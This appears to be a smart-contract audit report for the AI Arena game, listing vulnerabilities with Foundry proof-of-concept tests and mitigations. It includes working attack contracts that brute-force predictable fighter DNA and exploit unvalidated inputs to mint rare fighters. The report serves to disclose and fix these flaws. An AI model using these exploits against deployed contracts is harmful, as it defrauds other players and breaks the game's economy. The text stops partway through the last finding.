AI Arena - givn's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L233-L240

Vulnerability details

Description

The redeemMintPass function, designed to convert mint passes into fighters, verifies the caller's ownership of a mint pass before generating a fighter based on user-provided input data. The critical flaw here is the user's complete control over this input data.

Root cause

1. The redeemMintPass function lacks validation for user-supplied parameters.
2. The DNA generation input is manipulable, allowing users to tailor Champion fighter attributes.

Impact

Exploiting this vulnerability enables users redeeming a mint pass to acquire:

• Champions with the rarest attributes
• Dendroids, which are considered exceptionally rare

As a result, core invariants around the rarity of fighters are broken.

Attack Scenario

1. A user can simply pass dendroid fighter type (1) in the array and they will get it.
2. An attacker can create a contract that will find an appropriate DNA seed to generate Champion with desired attributes.

PoC

1. To get a dendroid (simple scenario) simply modify testRedeemMintPass in the following way:

- _fighterTypes[0] = 0;
+ _fighterTypes[0] = 1;

...

assertEq(_mintPassContract.balanceOf(_ownerAddress), 0);

+ (, uint256[6] memory attributes, uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(0);
+ for(uint8 i; i < attributes.length; ++i) {
+   console.log("new attribute: ", attributes[i]);
+   assertEq(attributes[i], 99);
+ }
+ (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0);
+ assertTrue(dendroidBool);

Merely altering a single parameter enabled the acquisition of a Dendroid upon mint pass redemption.

2. Here is a contract (more complicated scenario) that is able to produce a champion with desired physical attributes, element or weight:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "../src/FighterFarm.sol";


interface IArenaHelper {
  function createPhysicalAttributes(uint256 dna, uint8 generation, uint8 iconsType, bool dendroidBool) 
  external view returns (FighterOps.FighterPhysicalAttributes memory);
}

contract FighterMintDNAGenerator {
  address immutable _owner;
  IArenaHelper immutable _arenaHelper;
  FighterFarm immutable _farm;

  constructor(address farm, address arenaHelper) {
    _owner = msg.sender;
    _farm = FighterFarm(farm);
    _arenaHelper = IArenaHelper(arenaHelper);
  }

  function attack(uint8 fighterType, uint256 desiredWeight, uint256 desiredRarity) external view returns (string memory rareDNA) {
    require(msg.sender == _owner, "only owner");
    
    for (uint128 i; i < 1_000_000; ++i) {
      rareDNA = uintToString(i);
      uint256 dna = uint256(keccak256(abi.encode(rareDNA)));
      (uint256 element, uint256  weight, uint256 newDna) = _createFighterBase(dna, fighterType);
      
      FighterOps.FighterPhysicalAttributes memory fpa = _arenaHelper.createPhysicalAttributes(
        newDna,
        _farm.generation(fighterType),
        0,
        fighterType == 1 // are attributes for dendroid?
      );

      if (fpa.body == desiredRarity &&
      fpa.eyes == desiredRarity &&
      fpa.mouth == desiredRarity &&
      fpa.head == desiredRarity &&
      fpa.hands == desiredRarity &&
      fpa.feet == desiredRarity &&
      desiredWeight == weight) {
        console.log("Found DNA: ", rareDNA);
        console.log("body:", fpa.body);
        console.log("eyes:", fpa.eyes);
        console.log("mouth:", fpa.mouth);
        console.log("head:", fpa.head);
        console.log("hands:", fpa.hands);
        console.log("feet:", fpa.feet);
        return rareDNA;
      }
    }

    revert("Could not find DNA that fulfills requirements");
  }

  function _createFighterBase(uint256 dna, uint8 fighterType) private view returns (uint256, uint256, uint256) {     
    uint256 element = dna % _farm.numElements(_farm.generation(fighterType));
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
  }

  function uintToString(uint128 value) public pure returns (string memory) {
    if (value == 0) {
      return "0";
    }
    
    uint128 temp = value;
    uint128 digits;
    while (temp != 0) {
      digits++;
      temp /= 10;
    }
    
    bytes memory buffer = new bytes(digits);
    while (value != 0) {
      digits -= 1;
      buffer[digits] = bytes1(uint8(48 + uint128(value % 10)));
      value /= 10;
    }
    
    return string(buffer);
  }
}

And here is the test that shows how custom DNA can be used to get desired fighter, changes in FighterFarm.t.sol:

import "./FighterMintDNAGenerator.sol";

...

function testRedeemMintPassForRareChampion() public {
  uint8[2] memory numToMint = [1, 0];
  bytes memory signature = abi.encodePacked(
      hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
  );
  string[] memory _tokenURIs = new string[](1);
  _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

  // first i have to mint an nft from the mintpass contract
  assertEq(_mintPassContract.mintingPaused(), false);
  _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
  assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
  assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

  // Instantiate dna generator contract
  FighterMintDNAGenerator dnaGenerator = new FighterMintDNAGenerator(address(_fighterFarmContract), address(_helperContract));

  // once owning one i can then redeem it for a fighter
  uint256[] memory _mintpassIdsToBurn = new uint256[](1);
  string[] memory _mintPassDNAs = new string[](1);
  uint8[] memory _fighterTypes = new uint8[](1);
  uint8[] memory _iconsTypes = new uint8[](1);
  string[] memory _neuralNetHashes = new string[](1);
  string[] memory _modelTypes = new string[](1);

  uint256 desiredWeight = 70;
  uint256 desiredRarity = 2; 
  uint8 fighterType = 0; // champion
  _mintpassIdsToBurn[0] = 1;
  _mintPassDNAs[0] = dnaGenerator.attack(fighterType, desiredWeight, desiredRarity); // takes about 30s to run
  _fighterTypes[0] = 0;
  _neuralNetHashes[0] = "neuralnethash";
  _modelTypes[0] = "original";
  _iconsTypes[0] = 0;

  // approve the fighterfarm contract to burn the mintpass
  _mintPassContract.approve(address(_fighterFarmContract), 1);

  _fighterFarmContract.redeemMintPass(
      _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
  );


  (, uint256[6] memory attributes, uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(0);
  assertEq(weight, desiredWeight);
  for(uint8 i; i < attributes.length; ++i) {
    console.log("Desired attribute: ", attributes[i]);
    assertEq(attributes[i], desiredRarity);
  }
  (,,,,,,,,bool dendroidBool) = _fighterFarmContract.fighters(0);
  assertFalse(dendroidBool);
}

Tools used

Manual review

Suggested mitigation

Solution 1: Generate and digitally sign random data server-side, then provide it to users for minting a random fighter.

Solution 2: Use Chainlink VRF to derive DNA and other stats that need to be random.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L380

Vulnerability details

Description

The reRoll function depends on the user-supplied fighterType parameter, with 0 representing Champion and 1 for the rare Dendroid. However, the function fails to validate this parameter, leading to unintended combinations of fighter stats.

Root Cause

The vulnerability stems from the unchecked reliance on external input for critical functionality.

Impact

This flaw enables attacker to equip a Champion with the rarest physical attributes, violating the fundamental game invariant that only a limited number of Champions should possess such attributes.

Attack Scenario

An attacker first mints a Champion and then invokes reRoll with fighterType == 1. Due to the contract's logic, this sets newDna to 1, resulting in all physical attributes being erroneously assigned the value of 1.

PoC

Place the following test in FighterFarm.t.sol:

function testGetRareAttributesForChampion() public {
  // Setup
  address attacker = makeAddr("attacker12");
  _mintFromMergingPool(attacker);
  _fundUserWith4kNeuronByTreasury(attacker);
  _neuronContract.addSpender(address(_fighterFarmContract));
  
  uint8 tokenId = 0;
  uint8 fighterType = 1; // Dendroid
  assertEq(_fighterFarmContract.ownerOf(tokenId), attacker);
  assertEq(_fighterFarmContract.numRerolls(tokenId), 0);
  (, uint256[6] memory attributes, uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
  for(uint8 i; i < attributes.length; ++i) {
    console.log("Initial attribute: ", attributes[i]);
  }
  
  vm.startPrank(attacker);
  _fighterFarmContract.reRoll(tokenId, fighterType);

  (, attributes, weight,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

  assertEq(_fighterFarmContract.numRerolls(tokenId), 1);
  for(uint8 i; i < attributes.length; ++i) {
    assertEq(attributes[i], 1); 
    console.log("Attribute after re-roll: ", attributes[i]);

  }
}

Tools used

Manual review

Suggested mitigation

Remove the fighterType param from the function's signature. Instead, internally determine fighterType with the following logic:

require(msg.sender == ownerOf(tokenId));
+ uint8 fighterType = fighters[tokenId].dendroidBool ? 1 : 0;

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L370

Vulnerability details

Description

The reRoll function is limited to supporting fighters with token IDs up to 255 due to its use of the uint8 type for token IDs, despite the standard supporting up to uint256.

Root Cause

The issue stems from the use of a uint8 type for token IDs, which is smaller than the uint256 standard for token IDs.

Impact

Fighters with token IDs above 255 will be unable to re-roll stats, effectively barring them from a crucial feature of the protocol. Consequently, their initial stats become permanent.

For perspective, assuming each user initially claims 2 fighters, this limitation will impact the game once the 129th user is onboarded.

PoC

Attempting to use a tokenId larger than 255 in any test, such as testRerollRevertWhenLimitExceeded, results in a compilation error.

Tools used

Manual review

Suggested mitigation

Fortunately, the solution is straightforward: modify the function signature as follows:

- function reRoll(uint8 tokenId, uint8 fighterType) public
+ function reRoll(uint256 tokenId, uint8 fighterType) public

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L143

Vulnerability details

Description

In the redeemMintPass and claimFighters functions, element and weight attributes are generated randomly. However, the claimRewards function allows these attributes to be specified by the player, leading to potential manipulation.

Root cause

The vulnerability stems from the lack of validation for function inputs, allowing arbitrary player-defined values.

Impact

Winning players can exploit this to claim fighters with element or weight values that are beyond the game's defined limits, introducing fighters with non-existent elements or unrealistic weights. This breach contradicts the game's fundamental invariant regarding fighter composition.

Attack Scenario

A player can input arbitrary values into the customAttributes array upon invoking claimRewards, bypassing intended game mechanics.

PoC

In MergingPool.t.sol:

function testClaimExtremeCustomAttributes() public {
  _mintFromMergingPool(_ownerAddress);
  _mergingPoolContract.updateWinnersPerPeriod(1);
  assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
  
  uint256[] memory _winners = new uint256[](1);
  _winners[0] = 0;

  _mergingPoolContract.pickWinner(_winners);
  assertEq(_mergingPoolContract.winnerAddresses(0, 0), _ownerAddress);
  
  string[] memory _modelURIs = new string[](1);
  _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
  string[] memory _modelTypes = new string[](1);
  _modelTypes[0] = "original";
  uint256[2][] memory _customAttributes = new uint256[2][](1);
  _customAttributes[0][0] = uint256(7_000_000); // fighter is clearly overweight
  _customAttributes[0][1] = uint256(1_000_000); // no such element

  _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
  
  (,, uint256 element, uint256 weight,,,) = _fighterFarmContract.getAllFighterInfo(1);
  assertEq(weight, 7_000_000);
  assertEq(element, 1_000_000);
}

Tools used

Manual review.

Suggested mitigation

The documentation and codebase do not clearly state whether players are meant to influence their fighters' element or weight attributes directly.

In case players have a say in these values, the only thing that needs to be changed is some reasonable invariant checks for the customAttributes array. Something like:

function mintFromMergingPool(..., uint256[2] calldata customAttributes) public {
  require(msg.sender == _mergingPoolAddress);
  require(customAttributes[0] >= 1 && customAttributes[0] <= 80, "Impossible weight");
  require(customAttributes[1] >= 1 && customAttributes[1] <= 3, "Impossible element");
  ...
}

Should element and weight be intended to be assigned randomly, two options are viable: Option 1: Backend generation of these attributes, accompanied by a digital signature for verification. Option 2: Utilization of Chainlink VRF to ensure randomness and integrity in attribute assignment.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379

Vulnerability details

Description

The FighterFarm::reRoll function relies on msg.sender, tokenId and numRerolls[tokenId] to generate pseudo-randomly a DNA, that would later be used to derive fighter parameters, like element, weight and physical attributes. As we will see below, each of these parameters can be obtained as wished by the attacker.

Root Cause

The root cause is the reliance on predictable variables (msg.sender, tokenId, and numRerolls[tokenId]) to generate pseudo-random DNA, making the process vulnerable to manipulation.

Impact

Enabling a player to artificially create rare fighters dilutes the value of legitimately obtained rare fighters, undermining the game's core invariant that rarity should be a measure of value and power.

Attack scenario

An attacker generates thousands of addresses (stubs) and creates a contract that replicates the code used for generating fighter attributes. Afterwards, they run this code off-chain for each stub. After determining which stub can generate the desired fighter parameters, the attacker sends the fighter token to that stub, executes FighterFarm::reRoll to obtain these parameters, and then transfers the fighter token back.

PoC

This PoC demonstrates the process to obtain Diamond level attributes. The same principle can be used to get desired weight and element, since they are all derived from the same DNA.

test/FighterReactor.sol contract that finds an address that will roll desired attributes:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/console.sol";
import "../src/FighterOps.sol";
import "../src/FighterFarm.sol";

interface IAiArenaHelper {
  function createPhysicalAttributes(uint256 dna, uint8 generation, uint8 iconsType, bool dendroidBool) 
  external view returns (FighterOps.FighterPhysicalAttributes memory);
}

contract FighterReactor {
  address immutable _owner;
  address[] _stubs;
  FighterFarm immutable _farm;
  IAiArenaHelper immutable _arenaHelper;

  constructor(address owner, address farm, address arenaHelper, address[] memory stubs) {
    _owner = owner;
    _stubs = stubs;
    _farm = FighterFarm(farm);
    _arenaHelper = IAiArenaHelper(arenaHelper);
  }

  
  /// @param tokenId - the tokenId of the fithter 
  /// @param fighterType - 0 for normal champion, 1 for dendroid
  /// @param desiredRarity - desired rarity for physical attributes, see AiArenaHelper for possible values
  /// @return stubIndex - Index of the address stub which gives desired rarity or reverts.
  function attack(uint256 tokenId, uint8 fighterType, uint256 desiredRarity) external view returns (uint256 stubIndex) {
    require(_owner == msg.sender, "only owner");

    for (uint128 i; i < _stubs.length; ++i) {
      uint256 dna = uint256(keccak256(abi.encode(_stubs[i], tokenId, _farm.numRerolls(tokenId) + 1)));
      (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);

      (,,,,,,,uint8 iconsType, bool dendroidBool) = _farm.fighters(tokenId);

      FighterOps.FighterPhysicalAttributes memory fpa = _arenaHelper.createPhysicalAttributes(
        newDna,
        _farm.generation(fighterType),
        iconsType,
        dendroidBool
      );
	  
      if (fpa.body == desiredRarity &&
      fpa.eyes == desiredRarity &&
      fpa.mouth == desiredRarity &&
      fpa.head == desiredRarity &&
      fpa.hands == desiredRarity &&
      fpa.feet == desiredRarity) {
        console.log("Reactor found address with:", _stubs[i]);
        console.log("body:", fpa.body);
        console.log("eyes:", fpa.eyes);
        console.log("mouth:", fpa.mouth);
        console.log("head:", fpa.head);
        console.log("hands:", fpa.hands);
        console.log("feet:", fpa.feet);
        return i;
      }
    }

    revert("Could not find desired rarity of all parts in given stubs, try with different stub addresses");
  }

  function _createFighterBase(uint256 dna, uint8 fighterType) private view returns (uint256, uint256, uint256) {     
    uint256 element = dna % _farm.numElements(_farm.generation(fighterType));
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
  }
}

The following test in FighterFarm.t.sol is added, proving that an attacker can re-roll only once and get desired fighter params:

import "./FighterReactor.sol";

...

function testGetDesiredReroll() public {
  // Setup
  _mintFromMergingPool(_ownerAddress);
  _fundUserWith4kNeuronByTreasury(_ownerAddress);
  _neuronContract.addSpender(address(_fighterFarmContract));
  
  uint8 tokenId = 0;
  uint8 fighterType = 0;
  address attacker = makeAddr("attacker"); 
  _fighterFarmContract.transferFrom(_ownerAddress, attacker, tokenId);
  _fundUserWith4kNeuronByTreasury(attacker);
  assertEq(_fighterFarmContract.ownerOf(tokenId), attacker);
  assertEq(_fighterFarmContract.numRerolls(tokenId), 0);

  // Attacker creates addresses to try re-rolls with
  uint64 maxStubs = 3000;
  address[] memory stubs = new address[](maxStubs);
  for(uint160 i; i < maxStubs; ++i) {
    bytes32 hashedData = keccak256(abi.encode(i, "salt"));
    stubs[i] = address(uint160(uint256(hashedData)));
  }

  FighterReactor fr = new FighterReactor(
    attacker, address(_fighterFarmContract), address(_helperContract), stubs
  );

  // Begin searching for addresses that give desired rarity
  vm.startPrank(attacker);
  uint256 desiredRarity = 1; // lower number means more rare
  uint256 stubIndex = fr.attack(tokenId, fighterType, desiredRarity);

  // Send fighter to stubbed address and give some NRN for re-roll purposes
  _fighterFarmContract.transferFrom(attacker, stubs[stubIndex], tokenId);
  _neuronContract.transfer(stubs[stubIndex], 1000 * 10**18);

  // Reroll from stub address and give back ownership back to attacker
  vm.startPrank(stubs[stubIndex]);
  _fighterFarmContract.reRoll(tokenId, fighterType);
  _fighterFarmContract.transferFrom(stubs[stubIndex], attacker, tokenId);

  assertEq(_fighterFarmContract.ownerOf(tokenId), attacker);
  (,uint256[6] memory attributes,,,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);

  // Verify attacker got desired rarity with 1 reroll
  assertEq(_fighterFarmContract.numRerolls(tokenId), 1);
  for(uint8 i; i < attributes.length; ++i) {
    assertLe(attributes[i], desiredRarity);
  }
}

Suggested mitigation

A straightforward and cost-effective solution is to implement an API endpoint that generates a random number, returns this number along with the sender's address, and digitally signs the payload. Give the data to the user and let them use these values to call reRoll. In the contract function verify that the random number was created by the API, verify the random number was meant for this user (address) and plug it into the DNA generation.

Once some IP tries to generate too many signatures, start throttling it! By a large amount, or even consider banning it. Most likely they are trying to get a good random number. Alternatively, storing the random number on the backend and providing it for each re-roll attempt by a player for a specific fighter could serve as a viable solution.

While this approach does not make the attack vector impossible, it significantly increases the cost and time required to execute it.

Another approach would be to implement Chainlink VRF and skip changing the API, as you will derive randomness in another way. When implemented correctly, it will solve the issue completely.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139-L143

Vulnerability details

Description

At the end of each round, the admin selects the winners, who are then eligible to claim a new fighter from the MergingPool. The DNA of these fighters is derived from the sender's address and the current fighter count, allowing colluding players—or even a single player, if there's only one winner—to delay their claim until the fighter count aligns with their desired stats, including element, weight, or physical attributes.

Root cause

The claimRewards function generates fighter DNA with insufficient randomness, making it vulnerable to manipulation.

Impact

By delaying the call to the claimRewards function, winners can ensure they claim fighters with specific, desired stats each round. This predictability could lead to an influx of fighters with rare attributes, undermining the intended scarcity and economy of the game.

Attack scenario

Winning players, individually or in collusion, can deploy a smart contract to determine the optimal time to claim a fighter, based on the desired attributes.

PoC

The following contract, test/MergingPoolClaimCheck.sol, demonstrates how to check for the optimal claim time:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/console.sol";

import "../src/FighterOps.sol";
import "../src/FighterFarm.sol";

interface IAiArenaHelper {
  function createPhysicalAttributes(uint256 dna, uint8 generation, uint8 iconsType, bool dendroidBool) 
  external view returns (FighterOps.FighterPhysicalAttributes memory);
}


contract MergingPoolClaimCheck {
  address immutable _owner;
  FighterFarm immutable _farm;
  IAiArenaHelper immutable _arenaHelper;

  uint8 FIGHTER_TYPE = 0; // merge pool creates only Champions

  constructor(address farm, address arenaHelper) {
    _owner = msg.sender;
    _farm = FighterFarm(farm);
    _arenaHelper = IAiArenaHelper(arenaHelper);
  }

  function checkIfClaimIsWorthIt(uint256 maxRarity, address mergingPool) public returns (bool) {
    return checkIfClaimIsWorthIt(maxRarity, mergingPool, 0) && checkIfClaimIsWorthIt(maxRarity, mergingPool, 1);
  }

  function checkIfClaimIsWorthIt(uint256 maxRarity, address mergingPool, uint256 fighterOffset) private returns (bool) {
    uint256 dna = uint256(keccak256(abi.encode(mergingPool, _farm.totalSupply() + fighterOffset)));
    // (uint256 element, uint256  weight, uint256 newDna) = _createFighterBase(dna, FIGHTER_TYPE);
    (uint256 element, uint256  weight, uint256 newDna) = (1, 80, dna);
    FighterOps.FighterPhysicalAttributes memory fpa = _arenaHelper.createPhysicalAttributes(
      newDna,
      _farm.generation(FIGHTER_TYPE),
      0, // icons type
      FIGHTER_TYPE == 1 // are attributes for dendroid
    );

    if (fpa.body <= maxRarity &&
        fpa.eyes <= maxRarity &&
        fpa.mouth <= maxRarity &&
        fpa.head <= maxRarity &&
        fpa.hands <= maxRarity &&
        fpa.feet <= maxRarity) {
      return true;
    }

    return false;
  }

  function _createFighterBase(uint256 dna, uint8 fighterType) private view returns (uint256, uint256, uint256) {     
    uint256 element = dna % _farm.numElements(_farm.generation(fighterType));
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
  }
}

Test in MergingPool.t.sol:

function testClaimOnlyWhenChampionsHaveRareTraits() public {
  // Setup
  address user1 = makeAddr("1");
  address user2 = makeAddr("2");
  _mintFromMergingPool(user1);
  _mintFromMergingPool(user2);
  assertEq(_fighterFarmContract.ownerOf(0), user1);
  assertEq(_fighterFarmContract.ownerOf(1), user2);
  uint256[] memory _winners = new uint256[](2);
  _winners[0] = 0;
  _winners[1] = 1;
  _mergingPoolContract.pickWinner(_winners);
  assertEq(_mergingPoolContract.isSelectionComplete(0), true);
  assertEq(_mergingPoolContract.winnerAddresses(0, 0) == user1, true);
  assertEq(_mergingPoolContract.winnerAddresses(0, 1) == user2, true);

  MergingPoolClaimCheck claimCheck = new MergingPoolClaimCheck(address(_fighterFarmContract), address(_helperContract));
  uint256 maxRarityDesired = 3;

  for (uint256 i; ; ++i) {
    vm.prank(user1);
    if (claimCheck.checkIfClaimIsWorthIt(maxRarityDesired, address(_mergingPoolContract))) {
      console.log("waited for %d fighters to mint, before claim", i);
      console.log("\n\n");
      break;
    } else {
      // winners wait for new fighter to mint and check again if desired stats will appear
      _mintFromMergingPool(address(uint160(uint256(keccak256(abi.encode(i))))));
    }
  }

  string[] memory _modelURIs = new string[](2);
  _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
  string[] memory _modelTypes = new string[](2);
  _modelTypes[0] = "original";
  uint256[2][] memory _customAttributes = new uint256[2][](1);
  _customAttributes[0][0] = uint256(1);
  _customAttributes[0][1] = uint256(80);
  
  vm.prank(user1);
  _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
  vm.prank(user2);
  _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

  uint256 claimedFighter = _fighterFarmContract.totalSupply() - 1;
  assertEq(_fighterFarmContract.ownerOf(claimedFighter), user2);
  assertEq(_fighterFarmContract.ownerOf(claimedFighter - 1), user1);

  (, uint256[6] memory attributes,,,,,) = _fighterFarmContract.getAllFighterInfo(claimedFighter);
  for(uint8 i; i < attributes.length; ++i) {
    console.log("Desired attribute: ", attributes[i]);
    assertLe(attributes[i], maxRarityDesired);
  }

  (, attributes,,,,,) = _fighterFarmContract.getAllFighterInfo(claimedFighter - 1);
  for(uint8 i; i < attributes.length; ++i) {
    console.log("Desired attribute: ", attributes[i]);
    assertLe(attributes[i], maxRarityDesired);
  }
}

In this scenario, it required the minting of 11 fighters before the winners could claim a champion with rare attributes. The wait time for achieving rarer stats increases accordingly. However, aiming only for above-average results can significantly reduce this wait time.

Tools used

Manual review

Suggested mitigation

Option 1: Implement a backend system to generate and sign a random number for each player's address. The smart contract should verify this signature and use the number for DNA generation. This random number should be stored backend to ensure consistency for each claim, eliminating the reliance on fighters.length and the player's address for DNA generation in mintFromMergingPool.

Option 2: Employ Chainlink VRF to secure a verifiably random seed for DNA generation with each claim, ensuring true randomness and fairness.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L158-L161

Vulnerability details

Description

The GameItems contract is designed to support a diverse array of items, each with specific limitations to balance their impact within the game. These limitations can include finiteSupply and transfer restrictions. However, the dailyAllowance attribute, which caps the number of items a user can mint daily, can be easily circumvented.

Root cause

The GameItems contract lacks robust logic to enforce the daily allowance restriction effectively.

Impact

This loophole undermines the protocol's ability to enforce daily allowances on items, thereby restricting the design space for future items.

Attack scenario

Users can bypass the daily minting limit by transferring funds to a secondary address they control, minting the item there, and then transferring it back to their primary address.

PoC

Consider the introduction of a super-powerful Quad Damage Potion, intended to be minted only once per day per player. However, inventive players have found ways to circumvent this restriction.

In FighterFarm.t.sol:

function testGoAroundDailyAllowance() public {
  uint256 potionPrice = 5 * 10 ** 18;
  _gameItemsContract.createGameItem("Quad Damage Potion", "https://ipfs.io/ipfs/", false, true, 1000, potionPrice, 1);

  address user1 = makeAddr("user1");
  uint256 tokenId = 1; // Quad damage potion token Id
  _fundUserWith4kNeuronByTreasury(user1);

  vm.startPrank(user1);
  _gameItemsContract.mint(tokenId, 1);
  assertEq(_gameItemsContract.balanceOf(user1, tokenId), 1);

  // As expected, user1 will not be able to mint one more quad damage potion the same day.
  vm.expectRevert();
  _gameItemsContract.mint(tokenId, 1);

  // However user1 is cunning and will mint via another address and send it to themselves 
  address user1SubAcc = makeAddr("user1SubAcc");
  _neuronContract.transfer(user1SubAcc, potionPrice);
  vm.startPrank(user1SubAcc);
  _gameItemsContract.mint(tokenId, 1);
  _gameItemsContract.safeTransferFrom(user1SubAcc, user1, tokenId, 1, "0x");

  // user1 now owns 2 quad damage potions obtained the same day
  assertEq(_gameItemsContract.balanceOf(user1, tokenId), 2);
}

Suggested mitigation

Addressing this issue is complex. A potential solution involves tracking the minting time of items subject to a dailyAllowance and prohibiting their transfer for the following day.

mapping(uint256 tokenId => mapping(address player => uint256 timestamp)) public lastMintedTime;

function mint(uint256 tokenId, uint256 quantity) external {
...
  if (allGameItemAttributes[tokenId].dailyAllowance > 0) {
    lastMintedTime[tokenId][msg.sender] = block.timestamp;
  }
...
}

function safeTransferFrom(...) {
  ...
  if (allGameItemAttributes[tokenId].dailyAllowance > 0 && 
    (block.timestamp - lastMintedTime[tokenId][msg.sender]) < 1 days) {
    revert("Cooldown period for daily allowance item is active");
  }
  ...
}

Note that this approach does not completely resolve the issue, as players could still transfer items after a one-day delay. Therefore, it may be beneficial to consider supplementary strategies, such as implementing adjustable transfer cooldowns for specific items and administrative actions against major violators.

Assessed type

ERC721

[L-01] Improve security posture of _delegatedAddress in FighterFarm.sol

The _delegatedAddress field represents the backend's address, responsible for signing various messages related to claimFighters . There are two issues with it, which increase the risk for the protocol.

1. _delegatedAddress is being set only once, in the constructor, and there is no check if its address(0). In the off-chance of this value being misconfigured any signature would be able to mint a fighter.
2. In the event of a security breach on the backend, there is no way to change the _delegatedAddress. This means a hacker could mint as many and whatever kind of fighter they would like.

Suggested mitigation

• Add require check in FighterFarm's constructor

+ require(_delegatedAddress != address(0), "Invalid delegated address");

• Add setDelegatedAddress(address) external function, which should be callable only by the owner, similar to the already existing setMergingPoolAddress(address).

[L-02] Missing functions to change the treasury in various contracts

The treasuryAddress receives an initial mint of NRN and subsequently smaller transfers of the currency.

In the situation of a security breach, protocol ownership change or some other unforeseen events it could be troublesome that the treasury address can't change. A fallback mechanism is necessary, just like one exists for changing the owner.

Suggested mitigation Either add setTreasury(address) function, callable only by the owner, in the following contracts:

• FighterFarm.sol
• GameItems.sol
• Neuron.sol
• StakeAtRisk.sol

Or make all of them reference the treasury from the Neuron contract, since they all have a reference to it, and have setTreasury(address) only in Neuron.sol.

[L-03] Malicious players can use winning machine learning model, FighterFarm.sol

Due to the fact that machine learning hashes and types are public, as part of FighterOps.Fighter[] public fighters;, and updateModel can be called with arbitrary model & type data, the following scenario is possible:

Malicious player finds a fighters with a winning strategies and uses them to progress in the current round.

This allows an attacker to piggy back on someone else's strategy and save time in researching themselves.

Suggested mitigation Option 1: Since model hashes are unique, the protocol could keep track if someone is trying to set an already set hash. Option 2: Sign the message on the backend to ensure users can't set arbitrary ai models.

[L-04] Missing checks for game item invariants when calling createGameItem

It is possible for an item to have infinite supply (finiteSupply == false) and have itemsRemaining > 0.

Add:

if(finiteSupply && itemsRemaining > 0) {
  revert("Conflicting item parameters");
}

[L-05] There are no functions for adjusting GameItemAttributes

In the event of misconfigured item, promotions/discounts, balance adjustments a new item with the same name needs to be created. Adding function to update parameter/s is going to make resolution of such situations straight-forward.

[L-06] getFighterPoints view function is unusable

The getFighterPoints function is created as a helper, to produce a list of the fighters' points. The issue with it is that it allocates the resulting array with only 1 item. This makes it impossible to use for any practical purposes, because client code would be interested in more fighters than the first one.

Another concern with the function is that it could become impossible to use if enough fighters are created. A big enough array would DoS the function. Consider providing it with a range of indices - $0..<FightersCount$. In this way you would limit the return data.

PoC

function testIndexOOB() public {
  address user1 = makeAddr("user1");
  address user2 = makeAddr("user2");
  _mintFromMergingPool(_ownerAddress);
  _mintFromMergingPool(user1);
  _mintFromMergingPool(user2);

  vm.startPrank(address(_rankedBattleContract));
  _mergingPoolContract.addPoints(0, 100);
  _mergingPoolContract.addPoints(1, 100);
  _mergingPoolContract.addPoints(2, 100);
  assertEq(_mergingPoolContract.totalPoints(), 300);
  vm.stopPrank();
  
  // fighter points contains values for 3 fighters, but when we ask for 2 or 3, it fails
  vm.expectRevert(stdError.indexOOBError);
  uint256[] memory fighterPoints = _mergingPoolContract.getFighterPoints(2);
  assertEq(fighterPoints.length, 2);
}

[NC-01] Misleading function names in FighterFarm.sol

The following functions should be renamed: instantiateAIArenaHelperContract to setAIArenaHelperContract instantiateMintpassContract to setMintpassContract instantiateNeuronContract to setNeuronContract

Since they are not actually instantiating anything, set would be a more appropriate prefix. Just like it is done in setMergingPoolAddress and setTokenURI.

[NC-02] Extract constant for custom attributes in FighterFarm.sol

As mentioned by the developers the value 100 is used for custom attributes:

